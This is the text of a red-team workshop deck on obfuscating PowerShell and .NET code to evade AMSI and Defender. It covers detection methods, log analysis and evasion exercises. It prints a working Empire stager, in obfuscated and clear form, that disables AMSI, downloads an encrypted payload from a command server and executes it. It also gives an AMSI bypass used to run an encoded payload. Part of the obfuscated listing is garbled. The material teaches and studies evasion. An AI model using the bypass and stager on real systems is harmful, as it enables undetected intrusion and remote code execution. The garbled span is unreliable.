# Evading Detection: A Beginner's Guide to Obfuscation

000

ANTHONY ROSE JAKE KRASNOV VINCENT ROSE





# What Are We Going to Cover

- 1. Goals of Obfuscation
- 2. AMSI/Defender Overview
- 3. Methods of Detection
- 4. Analyzing Scripts and Code
- 5. AMSI/ETW Bypasses



#### whoami

#### ANTHONY ROSE

#### CX01N

- Lead Cybersecurity Research
   Chief Operating Officer, BC Security
- MS in Electrical Engineering
- Lockpicking Hobbyist
- Bluetooth & Wireless Security Enthusiast

#### JAKE KRASNOV

#### HUBBL3

- Red Team Operations Lead
   Chief Executive Officer, BC Security
- BS in Astronautical Engineering, MBA
- Red Team Lead
- Currently focused on embedded system security

#### VINCENT ROSE

#### VINNYBOD

- Coding Guru
   Chief Technology Officer, BC Security
- BS in Computer Science
- Software Engineer









#### Class Resources

- Repository includes:
  - Slides
  - Samples
  - Exercises
  - Tools
  - Resources

GitHub: <u>https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation</u>



# Focus for Today

• Focusing on obfuscation and evasion for .NET code

- A fairly heavy emphasis on PowerShell
  - Heuristic detections by AMSI/Defender are significantly more robust for the PowerShell Runtime compared to the CLR
  - Trivial to evade detection by Defender for CLR programs
- All the underlying principles apply to any programming language
   Specific techniques may change



#### Goals of Obfuscation

• There are two primary reasons for obfuscating code:

- Prevent Reverse Engineering
- Evade detection by Anti-Virus and Hunters







#### Preventing Reverse Engineering

#### Protecting IP

Most companies obfuscate compiled code to protect proprietary processes

Hiding what we are doingWhat was this code meant to do?

• Hide infrastructure

What is the C2 address?

What communication channels are being used?

Where are the internal pivot points?



REVERSE ENGINEERING

This was supposed to be a Prius



#### Evasion

Alter Code to Break Signatures
Blend in with Normal Operations
Change Indicators of Compromise
Hardest to do. More likely to result from building a new implementation rather than through obfuscation

Identification of analysis techniques
i.e., If a sandbox is detected, do nothing



#### UNUSUAL INCIDENTS OF USER AUTHENTICATION AND AUTHORIZATION

Authentication is the main barrier to any useful access into your network—attackers will try to break passwords, tokens and cryptographic measures to reach valuable enterprise information. They will also try to escalate privileges of user accounts they've hacked.





#### What are Indicators of Compromise?

Forensic evidence of potential attacks on a network
These artifacts allow for Blue Teams to detect intrusion and remediate malicious activity

🔿 tenable	e.sc Dash	board 🔫	Analysis <del>-</del>	Scans 🕶	Reporting -	Assets	Workflow -						
Indicators											Switch Dashboard 👻		
Indicators - Botnet Activity						Indicator	s - Continuous Events						
Bot List	Inbound Netstat	Outbour	nd Netstat	DNS Clean	URLs Clean		IDS	Scanning	Malware	Botnet	DOS		
Bot Attacks	Inbound Traffic	Outbou	nd Traffic	Bot Auth	Bot Anomalies		Sys Errors	Web Error	Win Error	High CPU	DNS Errors		
Last Updated: 17 hours ago						Last Updat	ed: 17 hours ago						
Indicators - Malicious Proce	Indicators - Malicious Process Monitoring							Indicators - Access Control Anomalies					
Malicious (Scan)	Unwanted	Custo	m Hash	Indicator	Multi Crashes		irewall Spike	Auth Spike	Auth Fail Spike	Access Spike	Denial Spike		
Process Spike	Virus Spike	Error	Spike	Change Spike	FIM Spike		1			1			
New EXE Spike	Unique Unix	Uniqu	ue Win	Malicious (LCE)		Last Updat	ed: 17 hours ago						
cast opdated. 49 minutes ago													
Indicators - Intrusion Detect	tion Events					Indicator	Indicators - Network Anomalies and Suspicious Activity						
Targeted	Host Scan	Net S	Sweep	Web Scan	Web Sweep		DNS Spike	SSL Spike	PVS Spike	Network Spike	Netflow Spike		
Auth Sweep	Auth Guessing	Auth G	Guessed	Worm Activity	IDS Spike		File Spike SSH 30m+	Web Spike	404+ Spike RDP 30m+	Inbound Spike	Outbound Spike Connect Spike		
Last Updated: 17 hours and	Divarianter	web	runner	EAE Serve	USER AUU	Last Updat	ed: 17 hours ago						
Indicators - Evoloitable Inte	Last updated: // nouis ago						Indicators - Suspicious Proxies, Relays and SPAM						
Sonicoe	CTD CTT				6110		Prove	SSH Provy	VNC Provo	PDP Prove	Bot Provy		
Ports	1-200	201-500	501-1024	1025-5000	5000+		SMTP Proxy	SMTP Relay	SPAM Server	Crowd Surge	Borrioxy		
Last Updated: 17 hours ago						Last Updat	ed: 17 hours ago						
						Indicator	s - Exploitable Clients						
							Patch	Mobile	SMTP	HTTP	General		
						Last Updat	ed: 17 hours ago						



### How do defenders use them?

SpecterOps: Funnel of Fidelity

- Start with weak indicators to create initial detections
- Look for stronger indicators as the funnel narrows





# Parsing Logs with Event Viewer



#### What is Event Viewer

- Application for interacting with the majority of application and system event logs
- Often accessible as a general user
  - Can't modify logs though
  - PowerShell logs are a good place to check for admin credentials
- Logs can also be parsed with other command line tools such as:
   Get-EventLog
  - Log Parser
  - Python-etvx



#### Event Viewer





#### Event Viewer – PowerShell Logs

🛃 Event Viewer					11		11				
File Action View Help											
🗢 🔿 🖄 📰 🚺											
Event Viewer (Local) Custom Views Signal Views Signal Views	Windows PowerShell Number of events: 1,711										
	Level		Date and Time Source			Event ID Task Category					
Applications and Services Lo	(i) Information		6/28/2021 8:38:43 PM		PowerShell (PowerShell)	403 Engine Lifecycle					
Hardware Events	<ol> <li>Information</li> </ol>		6/28/2021 8:38	:43 PM	PowerShell (PowerShell)	800	Pipeline Execution Details				
👔 Internet Explorer 👔 🕕 Information			6/28/2021 8:38	Pipeline Execution Details							
📔 Key Management Service	1 Information		6/28/2021 8:38:42 PM		PowerShell (PowerShell)	400	Engine Lifecycle				
> Microsoft	Information		6/28/2021 8:38:42 PM		PowerShell (PowerShell)		600 Provider Lifecycle				
> OpenSSH	(i) Information		6/28/2021 8:38	:42 PM	PowerShell (PowerShell)	600	600 Provider Lifecycle				
Windows Azure	Windows Azure			:42 PM	PowerShell (PowerShell)	600	600 Provider Lifecycle				
Windows PowerShell Junformation 6/28/2021 8:38:42 PM PowerShell (PowerShell)							Provider Lifecycle	~			
Subscriptions	Event 403, PowerShel	ll (PowerShell)		2.011		<u></u>					
	Octicital Details										
	Engine state is ch	anged from Available to Stop	oed.					^			
	Details:										
	NewEngineState=Stopped										
	PreviousEngineState=Available										
	SequenceNumber=19										
	HostName=ConsoleHost										
	Hostivame=ConsoleHost HostVersion=5.1.19041.1023										
	HostId=	ef4353b7-55d7-48af-8b50-4f90	03616b71d								
	HostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';										
	Runspac	celd=3edf11bf-5213-405f-b5d§	-9fa6a2689c2a								
	Pipeline	ld=									
	Comma	ndName= andType=									
	ScriptName=										
CommandPath= CommandLine=											
	Log Name:	Windows PowerShell									
	Source:	PowerShell (PowerShell)	Logged:	6/28/2021 8:38:43 PM							
	Event ID:	403	Task Category:	Engine Lifecycle							
	Level:	Information	Keywords:	Classic							
	User:	N/A	Computer:	WinDev2012Eval							
	OpCode:	Info									
	More Information	Event Log Online Help									



#### Event Viewer – PowerShell Logs

#### Applications and Services Logs > Microsoft > Windows > PowerShell > Operational

🛃 Event Viewer					– 0 ×				
File Action View Help									
NetworkProvider	Austria								
> NetworkProvisioning	operational realise of events. 1,40								
> 🎬 NiaSvc	Level	Date and Time	Source	Event ID Task Category	Operational				
> 🛄 Ntfs	(i) Information	6/27/2021 12:28:24 PM	PowerShell (Microsoft-Windows-P	4103 Executing Pipel	ᄚ Open Saved Log				
> 🛄 NTLM	🕕 Verbose	6/27/2021 12:28:23 PM	PowerShell (Microsoft-Windows-P	4104 Execute a Remo	🌱 Create Custom View				
> 🧮 OfflineFiles	eFiles Dinformation 6/27/2021 12:28:23 PM PowerShell (Microsoft-Windows-P 40962 PowerShell Cor								
> OneBackup	(i) Information	6/27/2021 12:28:22 PM	PowerShell (Microsoft-Windows-P	53504 PowerShell Nar	Closed an				
> OneX	Information     6/27/2021 12:28:22 PM     PowerShell (Microsoft-Windows-P     40961     PowerShell Cor								
> OOBE-Machine-DUI	U Verbose	6/26/2021 12:39:32 PM	PowerShell (Microsoft-Windows-P	4104 Execute a Remo	Filter Current Log				
OtpCredentialProvider     DeclaresStateProvider	(i) Information	6/26/2021 12:39:32 PM	PowerShell (Microsoft-Windows-P	4103 Executing Pipel	Properties				
PackagestateRoaming     PackagestateRoaming	<	£ /3£ /3031 13.30.33 DEA	Decose Charles And	4100 F	Disable Log				
Parental Controls     Parental Controls					00				
> PercentionBuntime	Event 4103, PowerShell (Microsoft-Win	ndows-PowerShell)		X	Find				
PerceptionSensorDataService	General Details				H Save All Events As				
> PersistentMemory-Nvdimm					Attach a Task To this Log				
> 🧮 PersistentMemory-PmemDisk	CommandInvocation(Write-Host)	: "Write-Host"		^	View				
> PersistentMemory-ScmBus	ParameterBinding(Write-Host): na	me="Object"; value="Final result: 1"							
> 🧮 Policy-based QoS					Q Refresh				
✓ I PowerShell	Context:				🕜 Help 🕨 🕨				
🛃 Admin	Severity = Informational				French 4102, Develophically (Mission of Mission Develophical)				
Operational	Host Name = ConsoleHost				Event 4105, Powershell (Microsoft-windows-Powershell)				
PowerShell-DesiredStateConfiguration-FileDownloadManager	V 🧧 PowerShell-DesiredStateConfiguration-FileDownloadManager Host Version 5.5.1.2004.1023								
Operational	Attach Task To This Event								
> PrimaryNetworkIcon	Defining/Network/con     This republication - powersameticae -section only restricted -commany metric rost rimansaut, r,     Engine Version = 5.119041.1023								
> PrintBRM	Runspace ID = 3edf11bf-5213-405f-b5d9-9fa6a2689c2a								
> Printservice	> PrintService Pipeline ID = 1								
Program-Compatibility-Arristant	Prwacy-Auditing     Command Yune = (mdlet								
Program-Compatibility-Assistant     Provisioning-Diagnostics-Provider	Script Name =				R Help				
Provisioning Blaghostics Fronder	Command Path =								
PushNotifications-Platform	User = WORKGROUP\SYSTEM								
> 🧮 ReadyBoost	resinvoinceurs/risourin USEF = WTAKUKUP/STSTEM Connected USEr =								
> 🧮 ReadyBoostDriver									
> 🧮 ReFS	Log Name: Microsoft-Windows-PowerShell/Operational								
> Anticipation of the second secon									
> 🧮 RemoteAssistance	Image: Second								
> RemoteDesktopServices-RdpCoreTS	.moteDesktopServices-RdpCoreTS Level: Information Keywords: None								
> RemoteDesktopServices-RemoteFX-Synth3dvsc	SementeDesktopServices-RemoteFX-Synth3dvsc User: SYSTEM Computer: WinDev2012Eval								
> RemoteDesktopServices-SessionServices									
> Remotefs-Rdbss									
Kesource-Exhaustion-Detector									
Kesource-Exhaustion-Resolver									
s i kestartivianager	P								





**1.** Analyze the Windows Event Logs for suspicious behavior





#### Exercise 1: Logs

- Using Event Viewer Open the provided log files from the Git Repo
   Are there any logs that look suspicious to you?
  - If so why?
  - Do you think the executed code could have been changed to make it less suspicious?



#### What Do We Do About It?

• The Funnel is effectively the Blue Team's kill chain

If we can break or exit the process at any step, we have effectively not been detected

• So how do we break it?





# Collection

- We probably can't avoid this completely
- Traffic must go through firewalls, routers, etc.
- If we can identify the collector, we can potentially disable it:
  - Disable Script Block logging
  - Turn off NetFlow collection on a router





#### Detection

• Where most Red Team's spend most of their effort

- Blend into the standard traffic
- Obfuscation to avoid malicious signatures
- Follow normal traffic flows
  - A random machine logging into a router is probably pretty strange



## Network Detection

- Typical network indicators
  - Known user agent strings
  - High entropy byte strings in HTTP POST messages
  - Unusual communications with the internet or other machines
    External attempts to log into
  - infrastructure





# Triage

Starting to get a little more scrutiny from defenders
Blend into the alerts!

- Use AV logs to see if anything causes a lot of alerts
- Abuse of alert fatigue

Abuse assumptions (mini social engineering)



#### Investigation

Hands on analysis is beginning to happen

• At this point an activity has been identified as malicious

#### Prevent them from knowing what is going on

- Stomp logs
- Obfuscate payloads
- Hide



#### Memory Analysis

Running processes are hard to hide

- This is way people should never turn off a computer during response
- Memory analysis will reveal the ENTIRE Empire agent in plaintext loaded into memory
  - No obfuscation
  - Allows the extraction of AES keys
    - Decryption of malware C2
  - Useful for red teams because it rewards incident response teams to take the next step and chain analysis



# How Does AV and EDR Detect Malware?



#### Static Detection Methods

- •How AV does its logical detection?
  - Hashes
    - Simply hashing the file and comparing it to a database of known signatures
    - Extremely fragile, any changes to the file will change the entire signature
  - Byte Matching (String Match)
    - Matching a specific pattern of bytes within the code
      - i.e. The presence of the word Mimikatz or a known memory structure



#### Static Detection Methods

- Hash Scanning
  - Hybrid of the above two methods
  - Hash sections of code and look for matches
- Heuristics
  - File structure
  - Logic Flows (Abstract Syntax Trees (AST), Control Flow Graphs (CFG), etc.)
  - Rule based detections (if x & y then malicious)
    These can also be thought of as context-based detections
    Often uses some kind of aggregate risk for probability of malicious file



# Dynamic Detection (Behavioral Analysis)

- Classification Detection
- Sandboxing
- Execute code in a safe space and analyze what it does
- System Logs and Events
  Event Tracing for Windows
  API Hooking





# AMSI and Fileless Malware



# What Is AMSI?

 The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.





# That's Great But What Does that Mean?

- Evaluates commands at run time
   Handles multiple scripting languages (PowerShell, JavaScript, VBA)
- As of .NET 4.8, integrated into CLR and will inspect assemblies when the load function is called
- Provides an API that is AV agnostic
  All modern AVs use this interface
- Identify fileless threats
  - Solved the technical part of the Collection Evasion problem





#### Data Flow





#### Interesting Note About the CLR Hooks

#### Based upon the CLRCore port AMSI is only called when Assembly.Load() is called

// Here we will invoke into AmsiScanBuffer, a centralized area for non-OS
// programs to report into Defender (and potentially other anti-malware tools).
// This should only run on in memory loads, Assembly.Load(byte[]) for example.
// Loads from disk are already instrumented by Defender, so calling AmsiScanBuffer
// wouldn't do anything.

<u>https://github.com/dotnet/coreclr/pull/23231/files</u>
Project that abuses this:
<u>https://github.com/G0ldenGunSec/SharpTransactedLoad</u>



#### The Problem of Human vs Machine Analysis

- Using automated obfuscation tools can easily produce obfuscated code that is capable of evading static analysis
  Heavily obfuscated code will immediately jump out to a human analyst as suspicious
  - Pits Logical Evasion against Classification Evasion



#### Heavily Obfuscated Code

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Details

Creating Scriptblock text (1 of 1):

sET-ItEm vARIaBle:pl9m0 ([tyPe]("{1}{0}" - F 'f', 'rE')); SET ("18G"+"If"+"H") ([TyPE]("{2}{4}{5}{7}{6}{0}{8}{3}{1}"-f 'IC', 'GeR', 'SYs', 'ntMAnA', 'Te', 'M.nET', 'Rv', 'sE', 'EPoi') ); SET ul5v ([TYPE]("{0}{2}{1}"-F'texT.', 'NcOding', 'E') ); SET ("18G"+"If"+"H") ([TyPE]("{2}{4}{5}{7}{6}{0}{8}{3}{3}{1}"-f 'IC', 'GeR', 'SYs', 'ntMAnA', 'Te', 'M.nET', 'Rv', 'sE', 'EPoi') ); SET ul5v ([TYPE]("{0}{2}{1}"-F'texT.', 'NcOding', 'E') ); SET ("18G"+"If"+"H") ([TyPE]("{2}{4}{4}{5}{7}{7}{6}{0}{8}{3}{3}{1}"-f 'IC', 'GeR', 'SYs', 'ntMAnA', 'Te', 'M.nET', 'Rv', 'sE', 'EPoi') ); SET ul5v ([TYPE]("{0}{2}{1}"-F'texT.', 'NcOding', 'E') ); SET ("18G"+"If"+"H") ([TyPE]("{0}{2}{1}"-F'texT.', 'NcOding', 'E') ); SET ul5v ([TYPE]("{0}{1}"-F'texT.', 'NcOding', 'E') ); SET ul5v ([TYPE]("{0}"+F'texT.', 'NcOding', 'E') ); SET ul5v ([TYPE]("{0}"+F'tex VaRIAblE:Bh3Tvs ([tYPE]("{2}{0}1)" -f'er','T','COnV')); \${f'9V}= [TypE]("{1}{0}5}{2}{4}3]" -F'ystEM.','S','t.weBR','eST','equ','ne'); sv ('v'+'XUYg') ([type]("{0}{1}5}{2}{4}3]"-f'SyST','em.','eD','Icache','eNTia','NET.Cr')); SEt-VARiablE\_rGQ ( [[tyPe]("{0}{3}{2}{1}{4}" - F 'sy', 'tEXT.eN', 'teM', 'S', 'CodinG')) : !F(\${p`SyE`RsiONt`AB`LE}, "pS`V`ErS`iON", "maJ`OR" - GE 3}{\${R`Ef} = (variABle PL9m0), "VA`Lue", "aSs`em`BIY", ("{1}{0}" - f 'EtTypE', 'G'), Invoke(('S' + ( "{1}{0}" - f("{0}{1}" - f't', 'em.'), 'ys') + "{2}{1}{0}" -f'em','q',("{0}{1}" -f 'Ma','na')) + ("{0}{1}" -f'ent','') + ("{1}{0}" -f'i',("{1}{0}" -f'i',("{1}{0}",("{1}))))))))))))))))))))) +'led'),('Non' +'P' +'ub' + ("{1}{0}2}"-f',St','lic',("{1}{0}" -f'tic','a'))).("{2}{0}1}"-f'tVAL','UE','SE').Invoke( \${nu`lL},\${TR`UE}); }; \${18`qL`FH}::"eX`PEC`T100coNTin`Ue" = 0; \${AE`FB} = .("{0}{2}{1}"-f'New', 'eCt','-OBi')("{3}{2}{1}"-f'X0L','UE','SE').Invoke( \${nu`lL},\${TR`UE}); }; \$  $\left[ \frac{1}{2} - \frac{1}{2} -$ ("{0}{2}{1}"-f '.0',("{0}{1}"-f ':1','.'),("{0}{1}"-f '; r','v'))+ ( ( ( "{2}{0}{3}{1}"-f(k; 'Gec')) ) )); \${S`er} = \$( (get-vaRiABle ui5v )."V`AluE":::"uN`ic`odE"."g`Et`STrlNG"( (geT-ltEM varlaBLe:bh3Tvs)."VaL`UE"::("{3}{1}) [{2}{0}{4}"-f'mBase64St','r','o','F','rlng').Invoke( ('aAB' + ("{0}{1}"-f'0AH','QA')+ 'cA'+ 'A6A' + 'C' + ( "{1}{0}{2}"-f'LwA','8A',("{0}{2}"], 'kAM') ) + 'A'+ 'uA' + ( "{1}{0}{2}"-f'DE','AN'),'A4A') + ( "{0}{1}{2}"-f'C,("{1}{0}"). 'AOQA','4'),'y' ) + 'AC4'+("{1}{0}" -f 'Az','AMQ') +( "{1}{0}"-f 'OqA',("{0}{1}" -f'AD','AA') ) + ( "{1}{0}"-f 'AOA',("{0}{1}"-f 'AOA',("{0}'AOA',("{0}"-f 'AOA',("{0}'AOA',("{0}"-f 'AOA',("{0} f'.','php');\${Ae`FB}."H`EADeRs".("{1}{0}"-f'D','AD').Invoke(('Use'+ ("{1}{0}"-f'Age','r-')+ 'nt'),\${U});\${AE`Fb}."Pro`xY" = \${f'9v}.:"de`Fau`ITWEbP`RoXY" ; \${A`eFb}."PR`oXY"."cReDEN`T`iAIS" = (gEt-iTEM ('vaRIAB'+'Le:v'+'X'+'uy'+'g'))."Val`Ue"::"dE`FaUITNeTWo`RkC'R`Ed`ENtIAIS"; \${SC`Ri`PT:prOXY} = \${A`EFb}."PrO`xy"; \${k}= \${r`gq}::"asC`li"."Ge`TByTEs"(((("{1}{2}{0}"-f'mS','&[',"])))))))))))))))))) ("{1}{0}" -f'CVX','zM'),'Te') + (( "{0}{2}1"-f'6@','I,((("{0}{1}" -f','(a'))))) + 'h' + ( "{1}{0}" -f'j:D','E'))."REPLa`cE"(([CHar]113 + [CHar]87),'|')) );\${r} = {\${d},\${K} = \${A`Rgs}; \${s} = 0..255 ; 0..255 [&('%'){\${j} = ( \${J} + \${S}[\$\_] +  $\left\{ \frac{1}{2} + \frac{1}{2} +$ [\${A`EFb}."Hea`de`Rs".("{0}{1}"-f 'A','dD').Invoke(('Coo' + 'kie' ),( 'b'+ 'oh'+ 'zn'+( "{1}{0}"-f 'P=','e''),("{0}{1}"-f'Zkr','P') )+ 'i' + 'd1'+( "{0}{1}"-f'T,("{0}{1}"-f'A','dD').Invoke(('Coo' + 'kie' ),( 'b'+ 'oh'+ 'zn'+( "{1}{0}"-f'P=','e''),("{0}{1}"-f'Zkr','P') )+ 'i' + 'd1'+( "{0}{1}"-f'T,("{0}{1}"-f'A','dD').Invoke(('Coo' + 'kie' ),( 'b'+ 'oh'+ 'zn'+( "{1}{0}"-f'P=','e''),("{0}{1}"-f'Zkr','P') )+ 'i' + 'd1'+( "{0}{1}"-f'T,("{0}{1}"-f'A','dD').Invoke(('Coo' + 'kie' ),( 'b'+ 'oh'+ 'zn'+( "{1}{0}"-f'P=','e''),("{0}{1}"-f'Zkr','P') )+ 'i' + 'd1'+( "{0}{1}"-f'T,("{0}{1}"-f'A','dD').Invoke(('Coo' + 'kie' ),( 'b'+ 'oh'+ 'zn'+( "{1}{0}"-f'P=','e''),("{0}{1}"-f'Zkr','P') )+ 'i' + 'd1'+( "{0}{1}"-f'T,("{0}{1}"-f'A','dD').Invoke(('Coo' + 'kie' ),( 'b'+ 'oh'+ 'zn'+( "{1}{0}"-f'P=','e''),("{0}{1}"-f'Zkr','P') )+ 'i' + 'd1'+( "{0}{1}"-f'T,("{0}{1}"-f'A','dD').Invoke(('Coo' + 'kie' ),( 'b'+ 'oh'+ 'zn'+( "{1}{0}"-f'P=','e''),("{0}{1}"-f'Zkr','P') )+ 'i' + 'd1'+( "{0}{1}"-f'A','dD'). ("{1}{0}"-f '=','luk'),'f8k'))); \${d`AtA} = \${a`efB}.("{0}{2}{1}{3}"-f 'DO','OaD','wNI','DaTa').Invoke( \${s`ER} + \${t}); \${lv} = \${dA`TA}[0..3]; \${dA`Ta}= \${D`ATa}[4..\${DA`TA}."Len`qth"]; -joiN[ChaR[]]( & \${r`V} + \${K})) | &("{1}{0}"-f '=','luk'),'f8k'))]; \${d`ATA} = \${D`ATa}[4..\${DA`TA}."Len`qth"]; -joiN[ChaR[]]( & \${r`V} + \${K})) | &("{1}{0}"-f '=','luk'),'f8k'))]; \${d`ATA} = \${D`ATa}[4..\${DA`TA}."Len`qth"]; -joiN[ChaR[]]( & \${r`V} + \${K})) | &("{1}{0}"-f '=','luk'),'f8k')]]; \${d`ATA} = \${D`ATa}[4..\${DA`TA}."Len`qth"]; -joiN[ChaR[]]( & \${r`V} + \${K})] | &("{1}{0}"-f '=','luk'),'f8k')]]; \${d`ATA} = \${D`ATa}[4..\${DA`TA}."Len`qth"]; -joiN[ChaR[]]( & \${r`V} + \${K})] | &("{1}{0}"-f '=','luk'),'f8k')]]; \${d`ATA} = \${D`ATa}[4..\${DA`TA}."Len`qth"]; -joiN[ChaR[]]( & \${r`V} + \${K})] | &("{1}{0}"-f '=','luk'),'f8k')]]; \${d`ATA} = \${D`ATa}[4..\${DA`TA}."Len`qth"]; -joiN[ChaR[]]( & \${r`V} + \${K})] | &("{1}{0}"-f '=','luk'),'f8k')]]; \${d`ATA} = \${D`ATa}[4..\${DA`TA}."Len`qth"]; -joiN[ChaR[]]( & \${r`V} + \${K})] | &("{1}{0}"-f '=','luk'),'f8k']]; } 'X', 'IE')

ScriptBlock ID: ab805158-8754-4189-84e3-57dcdf8172ad Path:



#### Un-Obfuscated Code

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Details

Creating Scriptblock text (1 of 1):

If (\$PSVersionTable.PSVersion.Major -ge 3){\$Ref=[ReF].Assembly.GetType('System.Management.Automation.AmsiUtils');\$Ref.GetField('amsiInitFailed','NonPublic,Static').SetValue(\$null,\$True);}; [System.Net.ServicePointManager]::Expect100Continue=0;\$AeFb=New-ObjecT System.NeT.WebClient;\$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';\$ser=\$([Text.Encoding]::UniCode.GetString ([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AOQAyAC4AMQAzADAAOgA4ADAAOAAwAA==')));\$t='/news.php';\$AeFB.Headers.Add('User-Agent',\$u);\$AeFB.Proxy= [System.NeT.WebReQuest]::DefaultWebProxy;\$AeFB.Proxy.Credentials = [System.NeT.CredentialCache]::DefaultNetworkCredentials;\$Script:Proxy = \$AeFB.Proxy;\$K=[System.Text.Encoding]::ASCII.GetBytes('&[K]usGmS|\*F5zMCVXTe6@,! (alhEj:D');\$R={\$D,\$K=\$ARGS;\$S=0..255;0..255]%{\$J=(\$J+\$S[\$\_]+\$K[\$\_%\$K.CounT])%256;\$S[\$\_],\$S[\$J]=\$S[\$J];\$D|%{\$I=(\$I+1)%256;\$H=(\$H+\$S[\$I])%256;\$S[\$]],\$S[\$H]=\$S[\$H],\$S[\$I];\$\_-Bxor\$S[(\$S[\$I]+\$S[\$H])%256]};\$AeFB.Headers.Add ("Cookie","bohznZkrPeJP=AW9U3kj3Ims0Olbl0AD8MvsISe0=");\$data=\$AeFB.DownloadData(\$sEr+\$t);\$IV=\$Data[0..3];\$Data=\$Data[4..\$Data.length];-join[Char[]](& \$R \$dATA (\$IV+\$K))||EX

ScriptBlock ID: afadd8ea-15df-44a3-8b5c-332d0c46baf4 Path:


# Obfuscating Static Signatures



## Unravelling Obfuscation (PowerShell)

The code is evaluated when it is readable by the scripting engine This means that:

PS C:\Users\> powershell -enc VwByAGkAdABIAC0ASABvAHMAdAAoACIAdABIAHMAdAAiACkA becomes:

#### PS C:\Users\> Write-Host("test")

However:

PS C:\Users\> Write-Host ("te"+"st")

Does not become:

PS C:\Users\> Write-Host ("test")

This is what allows us to still be able to obfuscate our code



## What Can We Do?

Modify our hash
Modify byte strings
Modify the structure of our code



## Modifying the Hash

## Change literally anything





### Randomized Capitalization Changes Our Hash

PowerShell ignores capitalization
Create a standard variable
PS C:\Users\> \$test = "hello world"

This makes Write-Host \$TEst and Write-Host \$test

## The same as... PS C:\Users\> hello world

AMSI ignores capitalization, but changing your hash is a best practice
C# does not have the same flexibility but changing the capitalization scheme of a variable name modifies the hash



## Modifying Byte Strings

•There are a lot of options available here Change variable names Concatenation Variable insertion Potentially the order of execution For C# changing the variable type (i.e list vs array)



## Variable Insertion (PowerShell)

 PowerShell recognizes \$ as a special character in a string and will fetch the associated variable.

•We embedded \$var1 = 'context' into \$var2 = "amsi \$var1"

•Which gives us:

PS C:\Users\> \$var2

amsicontext



## Variable Insertion (C#)

• As of C# 6 there is a similar method that we can use

```
string var1 = "context";
string var2 = $"amsi{var1}";
```

 If you use a decompiler to examine your file this will look the same as doing concatenation but does produce a different file hash



## Format String (PowerShell)

• PowerShell allows for the use of {} inside a string to allow for variable insertion. This is an implicit reference to the format string function.

#### \$test = "amsicontext" will be flagged



- But, PS C:\Users\> \$test = "amsi{0}text" -f "con"
- Return:

#### PS C:\Users\> \$var2

amsicontext



## Format String (C#)

• C# also has a Format string method:

```
string var1 = "context";
string var2 = String.Format("amsi{0}",var1);
```

Strangely enough ILSpy will decompile it to look like variable insertion:

```
{
    string arg = "context";
    string text = $"amsi{arg}";
}
```



## **Encrypted Strings**

#### Encrypting

\$secureString = ConvertTo-SecureString -String '<payload>' -AsPlainText -force \$encoded = ConvertFrom-SecureString -k (0..15) \$secureString > <output file>

#### Execution

\$encoded = <encoded payload>
\$Ref = [REF].Assembly.GetType('System.Management.Automation.AmsiUtils');
\$Ref.GetField('AmsiInitFailed','NonPublic,Static').SetValue(\$null, \$true);
\$credential = [System.Management.Automation.PSCredential]::new("tim",(ConvertTo-SecureString -k (0..15) \$encoded))
lex \$credential.GetNetworkCredential().Password



## What is an Abstract Syntax Tree (AST)?

- Represents source code in both compiled and interpreted languages
- Creates a tree-like representation of a script/command





## Abstract Syntax Tree (AST)





## Example Obfuscation Process

- Break the code into pieces
  - Identify any words that may be specific triggers
- Identify of any chunks that trigger an alert
- Run the code together
- Start changing structure
  - If you want to go down the rabbit hole

start analyzing your ASTs





## Staging VS Stagless

 Scripts and Assemblies are typically evaluated individually as they are loaded

There will still be some carry over of the risk rating

 Trade off of increased network traffic to less "malicious" code to be identified



## Exercise 2: PowerShell Obfuscation

1. Obfuscate samples 1-3





## Exercise 2: PowerShell Obfuscation

• Hints

- 1. Break large sections of code into smaller pieces
- 2. Isolate fewer lines to determine what is being flagged
- 3. Good place to start is looking for "AMSI"





## Exercise 2: PowerShell Obfuscation

Answers





## ThreatCheck



## ThreatCheck

- Scans binaries or files for the exact byte that is being flagged
- Two Modes
  - Defender
    - Uses the Real Time protection engine
- Updated version of <u>DefenderCheck</u>

#### GitHub: <u>https://github.com/rasta-</u> <u>mouse/ThreatCheck</u>

C:\> ThreatCheck.exehelp -e,engine (Default: Defender) Scanning engine. Options: Defender, AMSI -f,file Analyze a file on disk -u,url Analyze a file from a URL help Display this help screen. version Display version information.										
C:\> ThreatCheck.exe -f Downloads\Grunt.bin -e AMSI										
[+] Target file size: 31744 bytes										
[+] Analyzing										
[!] Identified end of bad bytes at offset 0x6D7A										
00000000 65 00 22 00 3A 00 22 00 7B 00 32 00 7D 00 22 00 e·"·:·"·{·2·}·"·										
00000010 2C 00 22 00 74 00 6F 00 6B 00 65 00 6E 00 22 00 ,·"·t·o·k·e·n·"·										
00000020 3A 00 7B 00 33 00 7D 00 7D 00 7D 00 00 43 7B 00 :-{·3·}·}·}·C{·										
00000030 7B 00 22 00 73 00 74 00 61 00 74 00 75 00 73 00 {·"·s·t·a·t·u·s·										
00000040 22 00 3A 00 22 00 7B 00 30 00 7D 00 22 00 2C 00 "·:·"·{··}·										
00000050 22 00 6F 00 75 00 74 00 70 00 75 00 74 00 22 00 "·o·u·t·p·u·t·"·										
00000060 3A 00 22 00 7B 00 31 00 7D 00 22 00 7D 00 7D 00 :·"·{·1·}·"·}·}·										
00000070 00 80 B3 7B 00 7B 00 22 00 47 00 55 00 49 00 44 ·? <sup>3</sup> {·{·"·G·U·I·D										
00000080 00 22 00 3A 00 22 00 7B 00 30 00 7D 00 22 00 2C ·"·:·"·{·0·}·"·										

00000090 00 22 00 54 00 79 00 70 00 65 00 22 00 3A 00 7B ·"·T·y·p·e·"·:·{ 000000A0 00 31 00 7D 00 2C 00 22 00 4D 00 65 00 74 00 61 ·1·}·,·"·M·e·t·a

## ThreatCheck

#### Two Modes

#### Defender

- Uses the Real Time protection engine
- Writes a file to disk temporarily

AMSI

 Uses the in-memory script scanning engine

Doesn't write to disk

```
C:\> ThreatCheck.exe --help
-e, --engine (Default: Defender) Scanning engine. Options: Defender, AMSI
-f, --file Analyze a file on disk
-u, --url Analyze a file from a URL
--help Display this help screen.
--version Display version information.
```

```
